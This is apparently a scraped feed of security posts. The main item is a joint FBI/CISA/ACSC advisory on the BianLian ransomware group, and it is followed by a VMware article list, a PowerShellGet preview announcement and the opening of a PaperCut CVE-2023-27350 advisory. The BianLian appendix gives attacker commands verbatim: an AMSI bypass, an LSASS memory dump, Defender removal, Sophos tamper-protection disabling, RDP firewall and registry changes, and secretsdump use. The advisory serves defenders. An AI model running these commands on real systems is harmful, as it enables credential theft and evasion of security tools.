#StopRansomware: BianLian Ransomware Group

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Summary

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Cyber Security Centre (ACSC) are releasing this joint Cybersecurity Advisory to disseminate known BianLian ransomare and data extortion group IOCs and TTPs identified through FBI and ACSC investigations as of March 2023.

Actions to take today to mitigate cyber threats from BianLian ransomware and data extortion:
• Strictly limit the use of RDP and other remote desktop services.
• Disable command-line and scripting activities and permissions.
• Restrict usage of PowerShell and update Windows PowerShell or PowerShell Core to the latest version.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group that has targeted organizations in multiple U.S. critical infrastructure sectors since June 2022. They have also targeted Australian critical infrastructure sectors in addition to professional services and property development. The group gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian group actors then extort money by threatening to release data if payment is not made. BianLian group originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion.

FBI, CISA, and ACSC encourage critical infrastructure organizations and small- and medium-sized organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of BianLian and other ransomware incidents.

Download the PDF version of this report (710kb):

For a downloadable copy of IOCs (35kb), see:

AA23-136A.STIX_.xml
(XML, 34.72 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See the MITRE ATT&CK® Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® Tactics and Techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group. FBI observed BianLian group targeting organizations in multiple U.S. critical infrastructure sectors since June 2022. In Australia, ACSC has observed BianLian group predominately targeting private enterprises, including one critical infrastructure organization. BianLian group originally employed a double-extortion model in which they exfiltrated financial, client, business, technical, and personal files for leverage and encrypted victims’ systems. In 2023, FBI observed BianLian shift to primarily exfiltration-based extortion with victims’ systems left intact, and ACSC observed BianLian shift exclusively to exfiltration-based extortion. BianLian actors warn of financial, business, and legal ramifications if payment is not made.

Initial Access

BianLian group actors gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers [T1078],[T1133] or via phishing [T1566].

Command and Control

BianLian group actors implant a custom backdoor specific to each victim written in Go (see the Indicators of Compromise Section for an example) [T1587.001] and install remote management and access software—e.g., TeamViewer, Atera Agent, SplashTop, AnyDesk—for persistence and command and control [T1105],[T1219].

FBI also observed BianLian group actors create and/or activate local administrator accounts [T1136.001] and change those account passwords [T1098].

Defense Evasion

BianLian group actors use PowerShell [T1059.001] and Windows Command Shell [T1059.003] to disable antivirus tools [T1562.001], specifically Windows defender and Anti-Malware Scan Interface (AMSI). BianLian actors modify the Windows Registry [T1112] to disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Discovery

BianLian group actors use a combination of compiled tools, which they first download to the victim environment, to learn about the victim’s environment. BianLian group actors have used:

  • Advanced Port Scanner, a network scanner used to find open ports on network computers and retrieve versions of programs running on the detected ports [T1046].
  • SoftPerfect Network Scanner (netscan.exe), a network scanner that can ping computers, scan ports, and discover shared folders [T1135].
  • SharpShares to enumerate accessible network shares in a domain.
  • PingCastle to enumerate Active Directory (AD) [T1482]. PingCastle provides an AD map to visualize the hierarchy of trust relationships.

BianLian actors also use native Windows tools and Windows Command Shell to:

  • Query currently logged-in users [T1033].
  • Query the domain controller to identify:
  • Retrieve a list of all domain controllers and domain trusts.
  • Identify accessible devices on the network [T1018].

See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Credential Access

BianLian group uses valid accounts for lateral movement through the network and to pursue other follow-on activity. To obtain the credentials, BianLian group actors use Windows Command Shell to find unsecured credentials on the local machine [T1552.001]. FBI also observed BianLian harvest credentials from the Local Security Authority Subsystem Service (LSASS) memory [T1003.001], download RDP Recognizer (a tool that could be used to brute force RDP passwords or check for RDP vulnerabilities) to the victim system, and attempt to access an Active Directory domain database (NTDS.dit) [T1003.003].

In one case, FBI observed BianLian actors use a portable executable version of an Impacket tool (secretsdump.py) to move laterally to a domain controller and harvest credential hashes from it. Note: Impacket is a Python toolkit for programmatically constructing and manipulating network protocols. Through the Command Shell, an Impacket user with credentials can run commands on a remote device using the Windows management protocols required to support an enterprise network. Threat actors can run portable executable files on victim systems using local user rights, assuming the executable is not blocked by an application allowlist or antivirus solution.

See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Persistence and Lateral Movement

BianLian group actors use PsExec and RDP with valid accounts for lateral movement [T1021.001]. Prior to using RDP, BianLian actors used Command Shell and native Windows tools to add user accounts to the local Remote Desktop Users group, modified the added account’s password, and modified Windows firewall rules to allow incoming RDP traffic [T1562.004]. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

In one case, FBI found a forensic artifact (exp.exe) on a compromised system that likely exploits the Netlogon vulnerability (CVE-2020-1472) and connects to a domain controller.

Collection

FBI observed BianLian group actors using malware (system.exe) that enumerates registry [T1012] and files [T1083] and copies clipboard data from users [T1115].

Exfiltration and Impact

BianLian group actors search for sensitive files using PowerShell scripts (See Appendix: Windows PowerShell and Command Shell Activity) and exfiltrate them for data extortion. Prior to January 2023, BianLian actors encrypted files [T1486] after exfiltration for double extortion.

BianLian group uses File Transfer Protocol (FTP) [T1048] and Rclone, a tool used to sync files to cloud storage, to exfiltrate data [T1537]. FBI observed BianLian group actors install Rclone and other files in generic and typically unchecked folders such as programdatavmware and music folders. ACSC observed BianLian group actors use Mega file-sharing service to exfiltrate victim data [T1567.002].

BianLian’s encryptor (encryptor.exe) modified all encrypted files to have the .bianlian extension. The encryptor created a ransom note, Look at this instruction.txt, in each affected directory (see Figure 1 for an example ransom note.) According to the ransom note, BianLian group specifically looked for, encrypted, and exfiltrated financial, client, business, technical, and personal files.

Screenshot of sample text
Figure 1: BianLian Sample Ransom Note (Look at this instruction.txt)

If a victim refuses to pay the ransom demand, BianLian group threatens to publish exfiltrated data to a leak site maintained on the Tor network. The ransom note provides the Tox ID A4B3B0845DA242A64BF17E0DB4278EDF85855739667D3E2AE8B89D5439015F07E81D12D767FC, which does not vary across victims. The Tox ID directs the victim organization to a Tox chat via https://qtox.github[.]io and includes an alternative contact email address (swikipedia@onionmail[.]org or xxx@mail2tor[.]com). The email address is also the same address listed on the group’s Tor site under the contact information section. Each victim company is assigned a unique identifier included in the ransom note. BianLian group receives payments in unique cryptocurrency wallets for each victim company.

BianLian group engages in additional techniques to pressure the victim into paying the ransom; for example, printing the ransom note to printers on the compromised network. Employees of victim companies also reported receiving threatening telephone calls from individuals associated with BianLian group.

Indicators of Compromise (IOC)

See Table 1 for IOCs obtained from FBI investigations as of March 2023.

Table 1: BianLian Ransomware and Data Extortion Group IOCs

Name

SHA-256 Hash

Description

def.exe

7b15f570a23a5c5ce8ff942da60834a9d0549ea3ea9f34f900a09331325df893

Malware associated with BianLian intrusions, which is an example of a possible backdoor developed by BianLian group.

encryptor.exe

1fd07b8d1728e416f897bef4f1471126f9b18ef108eb952f4b75050da22e8e43

Example of a BianLian encryptor.

exp.exe

0c1eb11de3a533689267ba075e49d93d55308525c04d6aff0d2c54d1f52f5500

Possible NetLogon vulnerability (CVE-2020-1472) exploitation.

system.exe

40126ae71b857dd22db39611c25d3d5dd0e60316b72830e930fba9baf23973ce

Enumerates registry and files. Reads clipboard data.

MITRE ATT&CK Techniques

See Table 2 for all referenced threat actor tactics and techniques in this advisory.

Table 2: BianLian Group Actors ATT&CK Techniques for Enterprise

Technique Title

ID

Use

Resource Development

Develop Capabilities: Malware

T1587.001

BianLian group actors developed a custom backdoor used in their intrusions.

Initial Access

External Remote Services

T1133

BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement.

Phishing

T1566

BianLian group actors used phishing to obtain valid user credentials for initial access.

Valid Accounts

T1078

BianLian group actors used RDP with valid accounts as a means of gaining initial access and for lateral movement.

Execution

Command and Scripting Interpreter: PowerShell

T1059.001

BianLian group actors used PowerShell to disable AMSI on Windows. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

BianLian group actors used Windows Command Shell to disable antivirus tools, for discovery, and to execute their tools on victim networks. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Scheduled Task/Job: Scheduled Task

T1053.005

BianLian group actors used a Scheduled Task run as SYSTEM (the highest privilege Windows accounts) to execute a Dynamic Link Library (DLL) file daily. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Persistence

Account Manipulation

T1098

BianLian group actors changed the password of an account they created.

BianLian actors modified the password of an account they added to the local Remote Desktop Users group.

Create Account: Local Account

T1136.001

BianLian group actors created/activated a local administrator account.

BianLian group actors used net.exe to add a user account to the local Remote Desktop Users group. (See Appendix: Windows PowerShell and Command Shell Activity for more information.)

Defense Evasion

Modify Registry

T1112

BianLian group actors modified the registry to  disable user authentication for RDP connections, allow a user to receive help from Remote Assistance, and disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services.

Impair Defenses: Disable or Modify Tools

T1562.001

BianLian group actors disabled Windows defender, AMSI, and Sophos SAVEnabled and SEDEenabled tamper protection services. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Impair Defenses: Disable or Modify System Firewall

T1562.004

BianLian group actors added modified firewalls to allow RDP traffic by adding new rules to the Windows firewall that allow incoming RDP traffic and enable a pre-existing Windows firewall rule group named Remote Desktop.

Credential Access

OS Credential Dumping: LSASS Memory

T1003.001

BianLian group actors accessed credential material stored in the process memory of the LSASS. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

OS Credential Dumping: NTDS

T1003.003

BianLian group actors attempted to access or create a copy of the Active Directory domain database in order to steal credential information and to obtain other information about domain members such as devices, users, and access rights.

Unsecured Credentials: Credentials In Files

T1552.001

BianLian group actors searched local file systems and remote file shares for files containing insecurely stored credentials.

Discovery

Account Discovery: Domain Account

1087.002

BianLian group actors queried the domain controller to identify accounts in the Domain Admins and Domain Computers groups. This information can help adversaries determine which domain accounts exist to aid in follow-on activity.

Domain Trust Discovery

T1482

BianLian group actors used PingCastle to enumerate the AD and map trust relationships.

BianLian group actors retrieved a list of domain trust relationships used to identify lateral movement opportunities in Windows multi-domain/forest environments.

File and Directory Discovery

T1083

BianLian group used malware (system.exe) that enumerates files.

Network Service Discovery

T1046

BianLian actors used Advanced Port Scanner and SoftPerfect Network Scanner to ping computers, scan ports, and identify program versions running on ports.

Network Share Discovery

T1135

BianLian actors used SoftPerfect Network Scanner, which can discover shared folders.

BianLian group actors used SharpShares to enumerate accessible network shares in a domain.

Permission Groups Discovery: Domain Groups

T1069.002

BianLian group actors queried the domain controller to identify groups.

Query Registry

T1012

BianLian group used malware (system.exe) that enumerates registry.

Remote System Discovery

T1018

BianLian group actors attempted to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement.

BianLian group actors retrieved a list of domain controllers.

System Owner User Discovery

T1033

BianLian group actors queried currently logged-in users on a machine.

Lateral Movement

Remote Services: Remote Desktop Protocol

T1021.001

BianLian group actors used RDP with valid accounts for lateral movement.

Collection

Clipboard Data

T1115

BianLian group actors’ malware collects data stored in the clipboard from users copying information within or between applications.

Command and Control

Ingress Tool Transfer

T1105

BianLian group actors transferred tools or other files from an external system into a compromised environment.

Remote Access Software

T1219

BianLian group actors used legitimate desktop support and remote access software, such as TeamViewer, Atera, and SplashTop, to establish an interactive command and control channel to target systems within networks.

Exfiltration

Transfer Data to Cloud Account

T1537

BianLian group actors used Rclone to exfiltrate data to a cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

Exfiltration Over Alternative Protocol

T1048

BianLian group actors exfiltrated data via FTP.

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1567.002

BianLian group actors exfiltrated data via Mega public file-sharing service.

Impact

Data Encrypted for Impact

T1486

BianLian group actors encrypted data on target systems.

Mitigations

FBI, CISA, and ACSC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Reduce threat of malicious actors using remote access tools by:
    • Auditing remote access tools on your network to identify currently used and/or authorized software.
    • Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T].
    • Using security software to detect instances of remote access software only being loaded in memory.
    • Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
    • Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
  • Implement application controls to manage and control execution of software, including allowlisting remote access programs.
    • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.

See NSA Cybersecurity Information sheet Enforce Signed Software Execution Policies for additional guidance.

  • Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Disable command-line and scripting activities and permissions [CPG 2.N].
  • Restrict the use of PowerShell, using Group Policy, and only grant to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].
  • Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
  • Enable enhanced PowerShell logging [CPG 2.T, 2.U].
    • PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor’s PowerShell use.
    • Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging).
    • The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible.
  • Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Reduce the threat of credential compromise via the following:
    • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
    • Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
    • Refrain from storing plaintext credentials in scripts.
  • Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E]. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory (AD) level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.

In addition, FBI, CISA, and ACSC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors:

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
  • Maintain offline backups of data, and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization minimizes the impact of disruption to business practices as they will not be as severe and/or only have irretrievable data [CPG 2.R]. ACSC recommends organizations follow the 3-2-1 backup strategy in which organizations have three copies of data (one copy of production data and two backup copies) on two different media such as disk and tape, with one copy kept off-site for disaster recovery.
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 15 characters [CPG 2.B].
    • Store passwords in hashed format using industry-recognized password managers.
    • Add password user “salts” to shared login credentials.
    • Avoid reusing passwords [CPG 2.C].
    • Implement multiple failed login attempt account lockouts [CPG 2.G].
    • Disable password “hints”.
    • Refrain from requiring password changes more frequently than once per year.
      Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software.
  • Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours from vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks, restricting further lateral movement [CPG 2.F].
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections, as they have insight into common and uncommon network connections for each host [CPG 3.A].
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Disable unused ports [CPG 2.V].
  • Consider adding an email banner to emails received from outside your organization [CPG 2.M].
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, FBI, CISA, and ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, and ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 2).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI, CISA, and ACSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

Reporting

The FBI is seeking any information that can be shared, including boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with BianLian actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at cisa.gov/report. Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ACSC via 1300 CYBER1 (1300 292 371) or by submitting a report cyber.gov.au.

Acknowledgements

Microsoft and Sophos contributed to this advisory.

APPENDIX: WINDOWS PowerSHell and COMMAND SHELL ACTIVITY

Through FBI investigations as of March 2023, FBI has observed BianLian actors use the commands in Table 3. ACSC has observed BianLian actors use some of the same commands.

Table 3: PowerShell and Windows Command Shell Activity

Command

Use

[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,* Static’).SetValue($null,$true) 

Disables the AMSI on Windows. AMSI is a built-in feature on Windows 10 and newer that provides an interface for anti-malware scanners to inspect scripts prior to execution. When AMSI is disabled, malicious scripts may bypass antivirus solutions and execute undetected.

cmd.exe /Q /c for /f “tokens=1,2 delims= “ ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””’) do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B WindowsTemp<file>.csv full

Creates a memory dump lsass.exe process and saves it as a CSV filehttps://attack.mitre.org/versions/v12/techniques/T1003/001/.  BianLian actors used it to harvest credentials from lsass.exe.

cmd.exe /Q /c net user <admin> /active:yes 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Activates the local Administrator account.

cmd.exe /Q /c net user “<admin>”<password> 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Changes the password of the newly activated local Administrator account.

cmd.exe /Q /c quser 1> 127.0.0.1C$WindowsTemp<folder> 2>&1

Executes quser.exe to query the currently logged-in users on a machine. The command is provided arguments to run quietly and exit upon completion, and the output is directed to the WindowsTemp directory.

dism.exe /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart

Using the Deployment Image Servicing and Management (DISM) executable file, removes the Windows Defender feature.

dump.exe -no-pass -just-dc user.local/<fileserver.local>@<local_ip>

Executes secretsdump.py, a Portable Executable version of an Impacket tool. Used to dump password hashes from domain controllers.

exp.exe -n <fileserver.local> -t <local_ip>

Possibly attempted exploitation of the NetLogon vulnerability (CVE-2020-1472).

findstr /spin “password” *.* >C:UserstrainingMusic<file>.txt

Searches for the string password in all files in the current directory and its subdirectories and puts the output to a file.

ldap.exe -u user<user> -p <password> ldap://<local_ip>

Connects to the organization’s Lightweight Directory Access Protocol (LDAP) server.

logoff

Logs off the current user from a Windows session. Can be used to log off multiple users at once.

mstsc

Launches Microsoft Remote Desktop Connection client application in Windows.

net group /domain

Retrieves a list of all groups from the domain controller.

net group ‘Domain Admins’ /domain

Queries the domain controller to retrieve a list of all accounts from Domain Admins group.

net group ‘Domain Computers’ /domain

Queries the domain controller to retrieve a list of all accounts from Domain Computers group.

net user /domain

Queries the domain controller to retrieve a list of all users in the domain.

net.exe localgroup “Remote Desktop Users” <user> /add

Adds a user account to the local Remote Desktop Users group.

net.exe user <admin> <password> /domain

Modifies the password for the specified account.

netsh.exe advfirewall firewall add rule “name=allow RemoteDesktop” dir=in * protocol=TCP localport=<port num> action=allow

Adds a new rule to the Windows firewall that allows incoming RDP traffic.

netsh.exe advfirewall firewall set rule “group=remote desktop” new enable=Yes

Enables the pre-existing Windows firewall rule group named Remote Desktop. This rule group allows incoming RDP traffic.

nltest /dclist

Retrieves a list of domain controllers.

nltest /domain_trusts

Retrieves a list of domain trusts.

ping.exe -4 -n 1 *

Sends a single ICMP echo request packet to all devices on the local network using the IPv4 protocol. The output of the command will show if the device is reachable or not.

quser; ([adsisearcher]”(ObjectClass=computer)”).FindAll().count;([adsisearcher]”(ObjectClass=user)”).FindAll().count;[Security.Principal.WindowsIdentity]::GetCurrent() | select name;net user “$env:USERNAME” /domain; (Get-WmiObject -class Win32_OperatingSystem).Caption; Get-WmiObject -Namespace rootcimv2 -Class Win32_ComputerSystem; net group “domain admins” /domain; nltest /dclist:; nltest /DOMAIN_TRUSTS

Lists the current Windows identity for the logged-in user and displays the user’s name. Uses the Active Directory Services Interface (ADSI) to search for all computer and user objects in the domain and returns counts of the quantities found. Lists information about the current user account from the domain, such as the user’s name, description, and group memberships. Lists information about the operating system installed on the local computer. Lists information about the “Domain Admins” group from the domain. Lists all domain controllers in the domain. Displays information about domain trusts.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal * ServerWinStationsRDP-Tcp” /v UserAuthentication /t REG_DWORD /d 0 /f

Adds/overwrites a new Registry value to disable user authentication for RDP connections.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server” /* v fAllowToGetHelp /t REG_DWORD /d 1 /f

Adds/overwrites a new Registry value to allow a user to receive help from Remote Assistance.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSophos Endpoint * DefenseTamperProtectionConfig” /t REG_DWORD /v SAVEnabled /d 0 /f

Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SAVEnabled.

reg.exe add “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSophos Endpoint * DefenseTamperProtectionConfig” /t REG_DWORD /v SEDEnabled /d 0 /f

Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SEDEnabled.

reg.exe ADD * HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeSophosSAVServiceTamperProtection /t REG_DWORD /v Enabled /d 0 /f

Adds/overwrites a new registry value to disable tamper protection for a Sophos antivirus service called SAVService.

reg.exe copy hklmsystemCurrentControlSetservicestvnserver * hklmsystemCurrentControlSetcontrolsafebootnetworktvnserver /s /f

Copies the configuration settings for the tvnserver service to a new location in the registry that will be used when the computer boots into Safe Mode with Networking. This allows the service to run with the same settings in Safe Mode as it does in normal mode.

s.exe /threads:50 /ldap:all /verbose /outfile:c:users<user>desktop1.txt

Executes SharpShares.

schtasks.exe /RU SYSTEM /create /sc ONCE /<user> /tr “cmd.exe /crundll32.exe c:programdatanetsh.dll,Entry” /ST 04:43

Creates a Scheduled Task run as SYSTEM at 0443 AM. When the task is run, cmd.exe uses crundll32.exe to run the DLL file netsh.dll. (It is likely that netsh.dll is a malware file and not associated with netsh.)

start-process PowerShell.exe -arg C:UsersPublicMusic<file>.ps1 -WindowStyle Hidden

Executes a PowerShell script, while keeping the PowerShell window hidden from the user.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or ACSC.

 

New Knowledge Articles for VMware Aria Operations, vRealize, vCenter Server for April, 2023

This post was originally published on this site

This blog post provides a list of helpful newly created VMware Knowledge Base articles. These articles cover a range of topics, including troubleshooting issues with upgrading to VMware Aria Operations for Logs 8.12, responding to security vulnerabilities, patching vCenter Server, and disabling vSphere Cluster Services.

The post New Knowledge Articles for VMware Aria Operations, vRealize, vCenter Server for April, 2023 appeared first on VMware Support Insider.

PowerShellGet 3.0 Preview 21

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We are excited to announce that an update to our preview of PowerShellGet 3.0 is now available on the PowerShell Gallery!

How to Install PowerShellGet 3.0 Preview 21

Prerequisites

Please ensure that you have the latest (non-prerelease) version of PowerShellGet and PackageManagement installed. To check the version you currently have installed run the command Get-InstalledModule PowerShellGet, PackageManagement

The latest version of PowerShellGet is 2.2.5, and the latest version of PackageManagement is 1.4.7. To install the latest versions of these modules run the following: Install-Module PowerShellGet -Force -AllowClobber

Installing the Preview

To install this preview release side-by-side with your existing PowerShellGet version, open any PowerShell console and run: Install-Module PowerShellGet -Force -AllowPrerelease

What to expect in this update

This update moves local repositories off of the NuGet APIs, this change was made to enable future improvements such as parallelization. This update also includes a number of bug fixes.

In this update we also made the decision to hold off on merging PowerShellGet previews into PowerShell 7.4 previews until June. This decision was made because we want to be really intentional about our decision making process with merging, or not merging, the compatibility module into PowerShellGet. At this point in time we are exploring a number of different options regarding module compatilibity to participate in this converation please refer to this issue.

Features of this release

New Features

  • Move off of NuGet client APIs for local repositories

Bug Fixes

  • Update properties on PSResourceInfo object to Remove PackageMangementProvider property and make PowerShellGetFormatVersion property private
  • Rename cmdlets
    • Get-PSResource -> Get-InstalledPSResource
    • New-PSScriptFileInfob -> New-PSScriptFile
    • Test-PSScriptFileInfo -> Test-PSScriptFile
  • Fix ValueFromPipelineByPropertyName on Save, Install
  • add Help message for mandatory params across cmdlets
  • Fix version range bug for Update-PSResource
  • Fix attribute bugfixes for Find and Install params
  • Correct Unexpected spelling of Unexpected
  • Resolve bug with Find-PSResource -Type Module not returning module

Features to Expect in Coming Preview Releases

This module is feature complete but we are continuing to make bug fixes. For the full list of issues for our next preview release please refer to our GitHub project.

How to Track the Development of this Module

GitHub is the best place to track the bugs/feature requests related to this module. We have used a combination of projects and labels on our GitHub repo to track issues for this upcoming release. We are using the label Resolved-3.0 to label issues that we plan to release at some point before we release the module as GA (generally available).

Timeline/Road Map

Expect to see preview releases as bug fixes are made. User feedback will help us determine when we can have a Release Candidate version of the module which will be supported to be used in production. Based on user feedback, if we believe the 3.0 release is complete, then we will publish a 3.0 version of the module as Generally Available. Since these milestones are driven by quality, rather than date, we can not offer an exact timeline at this point.

How to Give feedback and Get Support

We cannot overstate how critical user feedback is at this stage in the development of the module. Feedback from preview releases help inform design decisions without incurring a breaking change once generally available and used in production.

In order to help us to make key decisions around the behavior of the module please give us feedback by opening issues in our GitHub repository.

Sydney Smith

PowerShell Team

The post PowerShellGet 3.0 Preview 21 appeared first on PowerShell Team.

Malicious Actors Exploit CVE-2023-27350 in PaperCut MF and NG

This post was originally published on this site

SUMMARY

The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) in response to the active exploitation of CVE-2023-27350. This vulnerability occurs in certain versions of PaperCut NG and PaperCut MF and enables an unauthenticated actor to execute malicious code remotely without credentials. PaperCut released a patch in March 2023.

According to FBI observed information, malicious actors exploited CVE-2023-27350 beginning in mid-April 2023 and continuing through the present. In early May 2023, also according to FBI information, a group self-identifying as the Bl00dy Ransomware Gang attempted to exploit vulnerable PaperCut servers against the Education Facilities Subsector.

